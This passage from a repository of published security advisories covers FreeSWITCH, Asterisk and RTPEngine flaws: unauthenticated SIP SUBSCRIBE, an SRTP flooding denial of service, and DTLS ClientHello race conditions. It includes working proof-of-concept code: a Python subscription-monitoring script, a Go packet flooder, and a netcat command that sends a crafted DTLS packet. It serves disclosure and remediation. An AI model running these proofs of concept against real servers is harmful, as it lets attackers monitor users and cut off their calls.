issue. 60 | 61 | Our suggestion to the FreeSWITCH developers was the following: 62 | 63 | > Our recommendation is that this SIP message type is authenticated by default so that FreeSWITCH administrators do not need to explicitly set the `auth-messages` parameter. When following such a recommendation, a new parameter can be introduced to explicitly disable authentication. 64 | 65 | ## About Enable Security 66 | 67 | [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. 68 | 69 | ## Disclaimer 70 | 71 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 72 | 73 | ## Disclosure policy 74 | 75 | This report is subject to Enable Security's vulnerability disclosure policy which can be found at . 76 | 77 | -------------------------------------------------------------------------------- /ES2021-08-freeswitch-SIP-SUBSCRIBE-without-auth/README.md: -------------------------------------------------------------------------------- 1 | # FreeSWITCH does not authenticate SIP SUBSCRIBE requests by default 2 | 3 | - Fixed versions: v1.10.7 4 | - Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2021-08-freeswitch-SIP-SUBSCRIBE-without-auth 5 | - Vendor Security Advisory: https://github.com/signalwire/freeswitch/security/advisories/GHSA-g7xg-7c54-rmpj 6 | - Other references: CVE-2021-41157 7 | - Tested vulnerable versions: <= v1.10.5 8 | - Timeline: 9 | - Report date: 2021-06-07 10 | - Triaged: 2021-06-08 11 | - Fix provided for testing: 2021-10-01 12 | - Vendor release with fix: 2021-10-24 13 | - Enable Security advisory: 2021-10-25 14 | 15 | ## Description 16 | 17 | By default, SIP requests of the type SUBSCRIBE are not authenticated in the affected versions of FreeSWITCH. Although this issue was [fixed][1] in version v1.10.6, installations upgraded to the fixed version of FreeSWITCH from an older version, may still be vulnerable if the configuration is not updated accordingly. For good reason, by default, software upgrades do not update the configuration. 18 | 19 | [1]: https://github.com/signalwire/freeswitch/commit/b21dd4e7f3a6f1d5f7be3ea500a319a5bc11db9e 20 | 21 | ## Impact 22 | 23 | Abuse of this security issue allows attackers to subscribe to user agent event notifications without the need to authenticate. This abuse poses privacy concerns and might lead to social engineering or similar attacks. For example, attackers may be able to monitor the status of target SIP extensions. 24 | 25 | ## How to reproduce the issue 26 | 27 | 1. Install FreeSWITCH v1.10.5 or lower 28 | 2. Run FreeSWITCH using the default configuration 29 | 3. Register as a legitimate SIP user on the FreeSWITCH server using a softphone (e.g. sip:1000@192.168.188.128 where 192.168.188.128 is your FreeSWITCH server) 30 | 4. Save the below Python script to `anon-subscribe.py` 31 | 5. Run the script from an IP address that is different from that of the softphone `python anon-subscribe.py ` 32 | 6. Perform some operations using the softphone, such as deregistering, registering, and placing a call 33 | 7. Observe that several notifications are received by the script, exposing the actions being performed by the victim 34 | 35 | ```python 36 | import socket, string, random, re, sys 37 | 38 | UDP_IP = sys.argv[1] 39 | UDP_PORT = int(sys.argv[2]) 40 | EXT = sys.argv[3] 41 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 42 | 43 | msg_template = "SUBSCRIBE sip:%s@%s;transport=UDP SIP/2.0\r\n" % (EXT, UDP_IP) + \ 44 | "Via: SIP/2.0/UDP [ip]:[port];rport;branch=z9hG4bK-[rand]\r\n" \ 45 | "Max-Forwards: 70\r\n" \ 46 | "Contact: \r\n" % (EXT, ) + \ 47 | "To: \r\n" % (EXT, UDP_IP) + \ 48 | "From: ;tag=[rand]\r\n" % (UDP_IP, ) + \ 49 | "Call-ID: [rand]\r\n" \ 50 | "CSeq: 1 SUBSCRIBE\r\n" \ 51 | "Expires: 600\r\n" \ 52 | "Accept: */*\r\n" \ 53 | "Event: [event]\r\n" \ 54 | "Content-Length: 0\r\n" \ 55 | "\r\n" 56 | 57 | rand = ''.join(random.choice(string.ascii_letters) for i in range(16)) 58 | msg = msg_template.replace('[ip]', '127.0.0.1') \ 59 | .replace('[port]', '9999') \ 60 | .replace('[event]', 'dialog') \ 61 | .replace('[rand]', rand) 62 | 63 | sock.sendto(msg.encode(), (UDP_IP, UDP_PORT)) 64 | 65 | recv=sock.recv(10240).decode() 66 | 67 | # get rport and received from Via header 68 | rport=re.search( r'rport=([0-9]+)', recv, re.MULTILINE).group(1) 69 | received=re.search( r'received=([0-9\.]+)', recv, re.MULTILINE).group(1) 70 | 71 | events = [ 72 | 'talk', 'hold', 'conference', 'presence', 'as-feature-event', 'dialog', 'line-seize', 73 | 'call-info', 'sla', 'include-session-description', 'presence.winfo', 'message-summary', 74 | 'refer'] 75 | 76 | for event in events: 77 | rand = ''.join(random.choice(string.ascii_letters) for i in range(16)) 78 | msg = msg_template.replace('[ip]', received) \ 79 | .replace('[port]', rport) \ 80 | .replace('[event]', event) \ 81 | .replace('[rand]', rand) 82 | sock.sendto(msg.encode(), (UDP_IP, UDP_PORT)) 83 | 84 | while True: 85 | print(sock.recv(10240).decode().split('\r\n\r\n')[1]) 86 | ``` 87 | 88 | ## Solution and recommendations 89 | 90 | Upgrade to a version of FreeSWITCH that fixes this issue. 91 | 92 | Our suggestion to the FreeSWITCH developers was the following: 93 | 94 | > Our recommendation is that SIP SUBSCRIBE messages are authenticated by default so that FreeSWITCH administrators do not need to explicitly set the `auth-subscriptions` parameter. When following such a recommendation, a new parameter can be introduced to explicitly disable authentication. 95 | 96 | ## About Enable Security 97 | 98 | [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. 99 | 100 | ## Disclaimer 101 | 102 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 103 | 104 | ## Disclosure policy 105 | 106 | This report is subject to Enable Security's vulnerability disclosure policy which can be found at . 107 | 108 | -------------------------------------------------------------------------------- /ES2021-09-freeswitch-srtp-dos/README.md: -------------------------------------------------------------------------------- 1 | # FreeSWITCH susceptible to Denial of Service via invalid SRTP packets 2 | 3 | - Fixed versions: v1.10.7 4 | - Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2021-09-freeswitch-srtp-dos 5 | - Vendor Security Advisory: https://github.com/signalwire/freeswitch/security/advisories/GHSA-jh42-prph-gp36 6 | - Other references: CVE-2021-41105 7 | - Tested vulnerable versions: <= v1.10.6 8 | - Timeline: 9 | - Report date: 2021-09-06 10 | - Triaged: 2021-09-10 11 | - Fix provided for testing: 2021-09-17 12 | - Vendor release with fix: 2021-10-24 13 | - Enable Security advisory: 2021-10-25 14 | 15 | ## TL;DR 16 | 17 | When handling SRTP calls, FreeSWITCH is susceptible to a DoS where calls can be terminated by remote attackers. This attack can be done continuously, thus denying encrypted calls during the attack. 18 | 19 | ## Description 20 | 21 | When a media port that is handling SRTP traffic is flooded with a specially crafted SRTP packet, the call is terminated leading to denial of service. This issue was reproduced when using the SDES key exchange mechanism in a SIP environment as well as when using the DTLS key exchange mechanism in a WebRTC environment. 22 | 23 | The call disconnection occurs due to line 6331 in the source file `switch_rtp.c`, which disconnects the call when the total number of SRTP errors reach a hard-coded threshold (100): 24 | 25 | ```c 26 | if (errs >= MAX_SRTP_ERRS) { 27 | // ... 28 | switch_channel_hangup(channel, SWITCH_CAUSE_SRTP_READ_ERROR); 29 | } 30 | ``` 31 | 32 | ## Impact 33 | 34 | By abusing this vulnerability, an attacker is able to disconnect any ongoing calls that are using SRTP. The attack does not require authentication or any special foothold in the caller's or the callee's network. 35 | 36 | ## How to reproduce the issue 37 | 38 | 1. Prepare a FreeSWITCH instance that is publicly available and that can handle SRTP calls (``) 39 | 2. Prepare two SIP clients that can handle SRTP communication, such as Zoiper, and register against the FreeSWITCH instance 40 | 3. Prepare an attacker machine which has a different IP than that of the caller, callee or the FreeSWITCH instance 41 | 4. Save the below Go code and compile the application, naming it `freeswitch-srtp-dos` 42 | 5. Copy `freeswitch-srtp-dos` to the attacker machine 43 | 6. Perform a call between the agents using SRTP 44 | 7. Run the `freeswitch-srtp-dos` application against the target FreeSWITCH server: `./freeswitch-srtp-dos -ip ` 45 | 8. Observe that when the active media ports are reached, FreeSWITCH will report "SRTP audio unprotect failed with code 21" multiple times, until the call is terminated 46 | 47 | ```go 48 | package main 49 | 50 | import ( 51 | "flag" 52 | "fmt" 53 | "net" 54 | ) 55 | 56 | func main() { 57 | var minport, maxport, count int 58 | var ip string 59 | 60 | flag.IntVar(&minport, "min-port", 16384, "port-range minimum value") 61 | flag.IntVar(&maxport, "max-port", 32768, "port-range maximum value") 62 | flag.IntVar(&count, "count", 200, "packet count per port") 63 | flag.StringVar(&ip, "ip", "", "target IPv4 address") 64 | flag.Parse() 65 | 66 | listener, err := net.ListenPacket("udp", "0.0.0.0:0") 67 | if err != nil { 68 | panic(err) 69 | } 70 | 71 | fmt.Printf("sending %d packets on each port, port range %d-%d\n", 72 | count, minport, maxport) 73 | 74 | addr := &net.UDPAddr{IP: net.ParseIP(ip)} 75 | for i := minport; i < maxport+1; i++ { 76 | fmt.Printf("\rattacking port: %d", i) 77 | addr.Port = i 78 | for j := 0; j < count; j++ { 79 | listener.WriteTo([]byte("\x80\x00p(\t\xcd-\x15\xfd>\\\x86A"), addr) 80 | } 81 | } 82 | } 83 | ``` 84 | 85 | ## Solution and recommendations 86 | 87 | Upgrade to a version of FreeSWITCH that fixes this issue. 88 | 89 | Our suggestion to the FreeSWITCH developers was the following: 90 | 91 | > Instead of disconnecting the call, FreeSWITCH should simply ignore packets that fail message authentication or replay checks. 92 | 93 | ## About Enable Security 94 | 95 | [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. 96 | 97 | ## Disclaimer 98 | 99 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 100 | 101 | ## Disclosure policy 102 | 103 | This report is subject to Enable Security's vulnerability disclosure policy which can be found at . 104 | 105 | -------------------------------------------------------------------------------- /ES2023-01-asterisk-dtls-hello-race/README.md: -------------------------------------------------------------------------------- 1 | # Asterisk susceptible to Denial of Service via DTLS Hello packets during call initiation 2 | 3 | - Fixed versions: 18.20.1, 20.5.1, 21.0.1,18.9-cert6 4 | - Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2023-01-asterisk-dtls-hello-race 5 | - Vendor Security Advisory: https://github.com/asterisk/asterisk/security/advisories/GHSA-hxj9-xwr8-w8pq 6 | - Other references: CVE-2023-49786 7 | - Tested vulnerable versions: 20.1.0 8 | - Timeline: 9 | - Report date: 2023-09-27 10 | - Triaged: 2023-09-27 11 | - Fix provided for testing: 2023-11-09 12 | - Vendor release with fix: 2023-12-14 13 | - Enable Security advisory: 2023-12-15 14 | 15 | ## TL;DR 16 | 17 | When handling DTLS-SRTP for media setup, Asterisk is susceptible to Denial of Service due to a race condition in the hello handshake phase of the DTLS protocol. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack. 18 | 19 | ## Description 20 | 21 | Our research has shown that key establishment for Secure Real-time Transport Protocol (SRTP) using Datagram Transport Layer Security Extension (DTLS)[^1] is susceptible to a Denial of Service attack due to a race condition. If an attacker manages to send a ClientHello DTLS message with an invalid CipherSuite (such as `TLS_NULL_WITH_NULL_NULL`) to the port on the Asterisk server that is expecting packets from the caller, a DTLS error is generated. This results in the media session being torn down, which is followed by teardown at signaling (SIP) level too. 22 | 23 | This behavior was tested against Asterisk version 20.1.0, which was found to be vulnerable to this issue. 24 | 25 | The following sequence diagram shows the normal flow (i.e. no attack) involving SIP, STUN and DTLS messages between a UAC (the Caller) and an Asterisk server capable of handling WebRTC calls. 26 | 27 | ![Diagram showing a call setup against Asterisk that uses SIP, STUN and DTLS](resources/valid.png) 28 | 29 | In a controlled experiment, it was observed that when the Attacker sent a DTLS ClientHello to Asterisk's media port from a different IP and port, Asterisk responded by sending a DTLS Alert to the Caller. Additionally, Asterisk terminated the SIP call by sending a BYE message to the Caller. 30 | 31 | ![Diagram showing a call setup against Asterisk that fails due to an attacker controlled DTLS ClientHello](resources/dos.png) 32 | 33 | During a real attack, the attacker would spray a vulnerable Asterisk server with DTLS ClientHello messages. The attacker would typically target the range of UDP ports allocated for RTP. When the ClientHello message from the Attacker wins the race against an expected ClientHello from the Caller, the call terminates, resulting in Denial of Service. 34 | 35 | ## Impact 36 | 37 | Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable Asterisk servers for calls that rely on DTLS-SRTP. 38 | 39 | ## How to reproduce the issue 40 | 41 | 1. Prepare an Asterisk server with an extension configured to handle WebRTC; this may involve the following `pjsip.conf` and `extensions.conf` configuration updates: 42 | 43 | `pjsip.conf` 44 | ```ini 45 | [transport-tls-nat] 46 | type = transport 47 | protocol = wss 48 | bind = 172.17.0.2 49 | 50 | [webrtc_client] 51 | type=aor 52 | max_contacts=5 53 | remove_existing=yes 54 | 55 | [webrtc_client] 56 | type=auth 57 | auth_type=userpass 58 | username=3456 59 | password=3456 60 | 61 | [3456] 62 | type=endpoint 63 | aors=webrtc_client 64 | auth=webrtc_client 65 | dtls_auto_generate_cert=yes 66 | webrtc=yes 67 | context=default 68 | disallow=all 69 | allow=opus,ulaw 70 | ``` 71 | 72 | `extensions.conf` 73 | ```ini 74 | [globals] 75 | 76 | [default] 77 | exten = _XXXX,1,Verbose(1, "User ${CALLERID(num)} dialed ${EXTEN}.") 78 | same => n,Playback(demo-congrats) 79 | same => n,Hangup() 80 | ``` 81 | 1. Send an INVITE message to the target server with WebRTC SDP: 82 | 83 | ```default 84 | INVITE sip:1000@192.168.1.202 SIP/2.0 85 | Via: SIP/2.0/WSS 192.168.1.202:36742;rport=36742;branch=z9hG4bK-4RHtimOzaIkHeUDU 86 | Max-Forwards: 70 87 | From: ;tag=cnbsc3nNX2ydugl4 88 | To: 89 | Contact: 90 | Call-ID: VaglTzNRBSuvPPdw 91 | CSeq: 5 INVITE 92 | Content-Type: application/sdp 93 | Content-Length: 563 94 | 95 | v=0 96 | o=- 1695296401 1695296401 IN IP4 192.168.1.202 97 | s=- 98 | t=0 0 99 | c=IN IP4 192.168.1.202 100 | m=audio 36866 UDP/TLS/RTP/SAVPF 0 8 101 101 | a=setup:active 102 | a=fingerprint:sha-256 49:05:98:B2:15:43:1C:9C:4F:29:07:60:F8:63:77:16:80:F9:44:C0:97:8E:E5:48:D6:71:B4:03:10:85:D6:E3 103 | a=rtpmap:0 PCMU/8000/1 104 | a=rtpmap:8 PCMA/8000/1 105 | a=rtpmap:101 telephone-event/8000 106 | a=ice-ufrag:IOZyOSQkVywevryI 107 | a=ice-pwd:UQUtRMZKFERnmZqQdaggFzJBhcWVxabr 108 | a=candidate:6249488300 1 udp 2130706431 192.168.1.202 36866 typ host generation 0 109 | a=end-of-candidates 110 | a=rtcp-mux 111 | a=rtcprsize 112 | a=sendrecv 113 | 114 | ``` 115 | 1. Note Asterisk's media port and IP values, which will be used as the `` and `` parameters by the Attacker 116 | 1. When the call has been established, send a STUN binding request which has the appropriate Username, Message-Integrity and Ice-Controlled properties 117 | 1. When the Binding Success Response message is received, send a DTLS ClientHello message from a (attacker-controlled) host, which is different from the Caller but has network access to the Asterisk server 118 | 119 | ```bash 120 | CLIENT_HELLO="Fv7/AAAAAAAAAAAAfAEAAHAAAAAAAAAAcP79AAA" 121 | CLIENT_HELLO="${CLIENT_HELLO}AAG4HCVaUNVbYVmxuqdn2WyCgtTijhZ+WheP/+H" 122 | CLIENT_HELLO="${CLIENT_HELLO}4AAAACAAABAABEABcAAP8BAAEAAAoACAAGAB0AF" 123 | CLIENT_HELLO="${CLIENT_HELLO}wAYAAsAAgEAACMAAAANABQAEgQDCAQEAQUDCAUF" 124 | CLIENT_HELLO="${CLIENT_HELLO}AQgGBgECAQAOAAkABgABAAgABwA=" 125 | echo -n "${CLIENT_HELLO}" | base64 --decode | nc -u 126 | ``` 127 | 1. Observe that the Caller receives a DTLS Alert message and a SIP BYE message on its signaling channel 128 | 129 | Note that the above steps are used to reliably reproduce the vulnerability. In the case of a real attack, the attacker simply has to spray the Asterisk server with DTLS messages. 130 | 131 | 132 | ## Solution and recommendations 133 | 134 | To address this vulnerability, upgrade Asterisk to the latest version which includes the security fix. The solution implemented is to drop all packets from addresses that have not been validated by an ICE check. 135 | 136 | ## About Enable Security 137 | 138 | [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. 139 | 140 | ## Disclaimer 141 | 142 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 143 | 144 | ## Disclosure policy 145 | 146 | This report is subject to Enable Security's vulnerability disclosure policy which can be found at . 147 | 148 | [^1]: Datagram Transport Layer Security (DTLS) Extension to Establish Keys for the Secure Real-time Transport Protocol (SRTP) https://datatracker.ietf.org/doc/html/rfc5764 149 | -------------------------------------------------------------------------------- /ES2023-01-asterisk-dtls-hello-race/resources/dos.mmd: -------------------------------------------------------------------------------- 1 | sequenceDiagram 2 | Caller->>Asterisk: SIP INVITE 3 | Asterisk->>Caller: SIP 100 Trying 4 | Asterisk->>Caller: SIP 200 OK 5 | Caller->>Asterisk: SIP ACK 6 | Caller->>Asterisk: STUN Binding Request 7 | Asterisk->>Caller: STUN Binding Success Response 8 | Attacker->>Asterisk: DTLS Client Hello 9 | Asterisk->>Caller: DTLS Alert 10 | Asterisk->>Caller: SIP BYE Q.850 cause=0 -------------------------------------------------------------------------------- /ES2023-01-asterisk-dtls-hello-race/resources/dos.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/advisories/5f3f5ca3c8df3eade051bfd4511bfb2b9ddd7473/ES2023-01-asterisk-dtls-hello-race/resources/dos.png -------------------------------------------------------------------------------- /ES2023-01-asterisk-dtls-hello-race/resources/generate-diagrams.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker run --rm -u "$(id -u):$(id -g)" \ 4 | -v ./:/data minlag/mermaid-cli \ 5 | -i valid.mmd -o valid.png 6 | 7 | docker run --rm -u "$(id -u):$(id -g)" \ 8 | -v ./:/data minlag/mermaid-cli \ 9 | -i dos.mmd -o dos.png 10 | -------------------------------------------------------------------------------- /ES2023-01-asterisk-dtls-hello-race/resources/valid.mmd: -------------------------------------------------------------------------------- 1 | sequenceDiagram 2 | Caller->>Asterisk: SIP INVITE 3 | Asterisk->>Caller: SIP 100 Trying 4 | Asterisk->>Caller: SIP 200 OK 5 | Caller->>Asterisk: SIP ACK 6 | Caller->>Asterisk: STUN Binding Request 7 | Asterisk->>Caller: STUN Binding Success Response 8 | Caller->>Asterisk: DTLS Client Hello 9 | Asterisk->>Caller: DTLS Server Hello 10 | Asterisk->>Caller: DTLS Certificate 11 | Asterisk->>Caller: DTLS Server Key Exchange 12 | Asterisk->>Caller: DTLS Certificate Request 13 | Asterisk->>Caller: DTLS Server Hello Done -------------------------------------------------------------------------------- /ES2023-01-asterisk-dtls-hello-race/resources/valid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/advisories/5f3f5ca3c8df3eade051bfd4511bfb2b9ddd7473/ES2023-01-asterisk-dtls-hello-race/resources/valid.png -------------------------------------------------------------------------------- /ES2023-02-freeswitch-dtls-hello-race/README.md: -------------------------------------------------------------------------------- 1 | # FreeSWITCH susceptible to Denial of Service via DTLS Hello packets during call initiation 2 | 3 | - Fixed versions: 1.10.11 4 | - Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2023-02-freeswitch-dtls-hello-race 5 | - Vendor Security Advisory: https://github.com/signalwire/freeswitch/security/advisories/GHSA-39gv-hq72-j6m6 6 | - Other references: CVE-2023-51443 7 | - Tested vulnerable versions: 1.10.10 8 | - Timeline: 9 | - Report date: 2023-09-27 10 | - Triaged: 2023-09-27 11 | - Fix provided for testing: 2023-09-29 12 | - Vendor release with fix: 2023-12-22 13 | - Enable Security advisory: 2023-12-22 14 | 15 | ## TL;DR 16 | 17 | When handling DTLS-SRTP for media setup, FreeSWITCH is susceptible to Denial of Service due to a race condition in the hello handshake phase of the DTLS protocol. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack. 18 | 19 | ## Description 20 | 21 | Our research has shown that key establishment for Secure Real-time Transport Protocol (SRTP) using Datagram Transport Layer Security Extension (DTLS)[^1] is susceptible to a Denial of Service attack due to a race condition. If an attacker manages to send a ClientHello DTLS message with an invalid CipherSuite (such as `TLS_NULL_WITH_NULL_NULL`) to the port on the FreeSWITCH server that is expecting packets from the caller, a DTLS error is generated. This results in the media session being torn down, which is followed by teardown at signaling (SIP) level too. 22 | 23 | This behavior was tested against FreeSWITCH version 1.10.10, which was found to be vulnerable to this issue. 24 | 25 | The following sequence diagram shows the normal flow (i.e. no attack) involving SIP and DTLS messages between a UAC (the Caller) and an FreeSWITCH server capable of handling WebRTC calls. 26 | 27 | Diagram showing a call setup against FreeSWITCH that uses SIP and DTLS: 28 | ![Diagram showing a call setup against FreeSWITCH that uses SIP and DTLS](resources/valid.png) 29 | 30 | In a controlled experiment, it was observed that when the Attacker sent a DTLS ClientHello to FreeSWITCH's media port from a different IP and port, FreeSWITCH responded by sending a DTLS Alert to the Caller. Additionally, FreeSWITCH terminated the SIP call by sending a BYE message to the Caller. 31 | 32 | ![Diagram showing a call setup against FreeSWITCH that fails due to an attacker controlled DTLS ClientHello](resources/dos.png) 33 | 34 | During a real attack, the attacker would spray a vulnerable FreeSWITCH server with DTLS ClientHello messages. The attacker would typically target the range of UDP ports allocated for RTP. When the ClientHello message from the Attacker wins the race against an expected ClientHello from the Caller, the call terminates, resulting in Denial of Service. 35 | 36 | 37 | ## Impact 38 | 39 | Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable FreeSWITCH servers for calls that rely on DTLS-SRTP. 40 | 41 | ## How to reproduce the issue 42 | 43 | 1. Prepare a FreeSWITCH server with an extension configured to handle WebRTC 44 | 1. Send an INVITE message to the target server with WebRTC SDP: 45 | 46 | ```default 47 | INVITE sip:1000@192.168.1.202 SIP/2.0 48 | Via: SIP/2.0/WSS 192.168.1.202:36742;rport=36742;branch=z9hG4bK-jQcnXJadB2VGfGmQ 49 | Max-Forwards: 70 50 | From: ;tag=L9kc5NfpYG1u67cT 51 | To: 52 | Contact: 53 | Call-ID: DzGnBLt0z9SK3MC0 54 | CSeq: 5 INVITE 55 | Content-Type: application/sdp 56 | Content-Length: 385 57 | 58 | v=0 59 | o=- 1695296331 1695296331 IN IP4 192.168.1.202 60 | s=- 61 | t=0 0 62 | c=IN IP4 192.168.1.202 63 | m=audio 45825 UDP/TLS/RTP/SAVPF 0 8 101 64 | a=setup:active 65 | a=fingerprint:sha-256 49:05:98:B2:15:43:1C:9C:4F:29:07:60:F8:63:77:16:80:F9:44:C0:97:8E:E5:48:D6:71:B4:03:10:85:D6:E3 66 | a=rtpmap:0 PCMU/8000/1 67 | a=rtpmap:8 PCMA/8000/1 68 | a=rtpmap:101 telephone-event/8000 69 | a=rtcp-mux 70 | a=rtcprsize 71 | a=sendrecv 72 | ``` 73 | 1. Note FreeSWITCH's media port and IP values, which will be used as the `` and `` parameters by the Attacker 74 | 1. Send a DTLS ClientHello message from a (attacker-controlled) host, which is different from the Caller but has network access to the FreeSWITCH server 75 | 76 | ```bash 77 | CLIENT_HELLO="Fv7/AAAAAAAAAAAAfAEAAHAAAAAAAAAAcP79AAA" 78 | CLIENT_HELLO="${CLIENT_HELLO}AAG4HCVaUNVbYVmxuqdn2WyCgtTijhZ+WheP/+H" 79 | CLIENT_HELLO="${CLIENT_HELLO}4AAAACAAABAABEABcAAP8BAAEAAAoACAAGAB0AF" 80 | CLIENT_HELLO="${CLIENT_HELLO}wAYAAsAAgEAACMAAAANABQAEgQDCAQEAQUDCAUF" 81 | CLIENT_HELLO="${CLIENT_HELLO}AQgGBgECAQAOAAkABgABAAgABwA=" 82 | echo -n "${CLIENT_HELLO}" | base64 --decode | nc -u 83 | ``` 84 | 1. Observe that the Caller received a DTLS Alert message and a SIP BYE message on its signaling channel 85 | 86 | Note that the above steps are used to reliably reproduce the vulnerability. In case of a real attack, the attacker simply has to spray the FreeSWITCH server with DTLS messages. 87 | 88 | ## Solution and recommendations 89 | 90 | To address this vulnerability, upgrade FreeSWITCH to the latest version which includes the security fix. The solution implemented is to drop all packets from addresses that have not been validated by an ICE check. 91 | 92 | ## About Enable Security 93 | 94 | [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. 95 | 96 | ## Disclaimer 97 | 98 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 99 | 100 | ## Disclosure policy 101 | 102 | This report is subject to Enable Security's vulnerability disclosure policy which can be found at . 103 | 104 | [^1]: Datagram Transport Layer Security (DTLS) Extension to Establish Keys for the Secure Real-time Transport Protocol (SRTP) https://datatracker.ietf.org/doc/html/rfc5764 -------------------------------------------------------------------------------- /ES2023-02-freeswitch-dtls-hello-race/resources/dos.mmd: -------------------------------------------------------------------------------- 1 | sequenceDiagram 2 | Caller->>FreeSWITCH: SIP INVITE 3 | FreeSWITCH->>Caller: SIP 100 Trying 4 | FreeSWITCH->>Caller: SIP 200 OK 5 | Caller->>FreeSWITCH: SIP ACK 6 | Attacker->>FreeSWITCH: DTLS Client Hello 7 | FreeSWITCH->>Caller: DTLS Alert 8 | FreeSWITCH->>Caller: SIP BYE Q.850 cause=27 -------------------------------------------------------------------------------- /ES2023-02-freeswitch-dtls-hello-race/resources/dos.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/advisories/5f3f5ca3c8df3eade051bfd4511bfb2b9ddd7473/ES2023-02-freeswitch-dtls-hello-race/resources/dos.png -------------------------------------------------------------------------------- /ES2023-02-freeswitch-dtls-hello-race/resources/generate-diagrams.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker run --rm -u "$(id -u):$(id -g)" \ 4 | -v $(pwd):/data minlag/mermaid-cli \ 5 | -i valid.mmd -o valid.png 6 | 7 | docker run --rm -u "$(id -u):$(id -g)" \ 8 | -v $(pwd):/data minlag/mermaid-cli \ 9 | -i dos.mmd -o dos.png 10 | -------------------------------------------------------------------------------- /ES2023-02-freeswitch-dtls-hello-race/resources/valid.mmd: -------------------------------------------------------------------------------- 1 | sequenceDiagram 2 | Caller->>FreeSWITCH: SIP INVITE 3 | FreeSWITCH->>Caller: SIP 100 Trying 4 | FreeSWITCH->>Caller: SIP 200 OK 5 | Caller->>FreeSWITCH: SIP ACK 6 | Caller->>FreeSWITCH: DTLS Client Hello 7 | FreeSWITCH->>Caller: DTLS Server Hello 8 | FreeSWITCH->>Caller: DTLS Certificate 9 | FreeSWITCH->>Caller: DTLS Server Key Exchange 10 | FreeSWITCH->>Caller: DTLS Certificate Request 11 | FreeSWITCH->>Caller: DTLS Server Hello Done -------------------------------------------------------------------------------- /ES2023-02-freeswitch-dtls-hello-race/resources/valid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/advisories/5f3f5ca3c8df3eade051bfd4511bfb2b9ddd7473/ES2023-02-freeswitch-dtls-hello-race/resources/valid.png -------------------------------------------------------------------------------- /ES2023-03-rtpengine-dtls-hello-race/README.md: -------------------------------------------------------------------------------- 1 | # RTPEngine susceptible to Denial of Service via DTLS Hello packets during call initiation 2 | 3 | - Fixed versions: mr12.1.1.2, mr12.0.1.3, mr11.5.1.16, mr10.5.6.3, mr10.5.6.2, mr9.5.8.2, mr8.5.12.2 4 | - Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2023-03-rtpengine-dtls-hello-race 5 | - Vendor Patch: https://github.com/sipwise/rtpengine/commit/e969a79428ac4a15cdf1c0a1c6f266dbdc7e60b6 6 | - Other references: CVE-2023-51275 7 | - Tested vulnerable versions: mr11.5.1.6 8 | - Timeline: 9 | - Report date: 2023-10-02 10 | - Triaged: 2023-10-02 11 | - Fix provided for testing: 2023-11-16 12 | - Enable Security verified fix: 2023-12-14 13 | - Vendor release with fix: 2023-12-14 14 | - Enable Security advisory: 2023-12-15 15 | 16 | ## TL;DR 17 | 18 | When handling DTLS-SRTP for media setup, RTPEngine is susceptible to Denial of Service due to a race condition in the hello handshake phase of the DTLS protocol. This attack can be done continuously, thus denying new DTLS encrypted calls during the attack. 19 | 20 | ## Description 21 | 22 | Our research has shown that key establishment for Secure Real-time Transport Protocol (SRTP) using Datagram Transport Layer Security Extension (DTLS)[^1] is susceptible to a Denial of Service attack due to a race condition. If an attacker manages to send a ClientHello DTLS message with an invalid CipherSuite (such as `TLS_NULL_WITH_NULL_NULL`) to the port on the RTPEngine server that is expecting packets from the caller, the media session is torn down. 23 | 24 | This behavior was tested against RTPEngine version mr11.5.1.6, which was found to be vulnerable to this issue. 25 | 26 | The following sequence diagram shows the normal flow (i.e. no attack) involving SIP, STUN and DTLS messages between a UAC (the Caller), Kamailio and an RTPEngine server capable of handling WebRTC calls. 27 | 28 | ![Diagram showing a call setup against RTPEngine that uses SIP, STUN and DTLS](resources/valid.png) 29 | 30 | In a controlled experiment, it was observed that when the Attacker sent a DTLS ClientHello to RTPEngine's media port from a different IP and port, RTPEngine gave an internal error and did not process the call any longer. 31 | 32 | ![Diagram showing a call setup 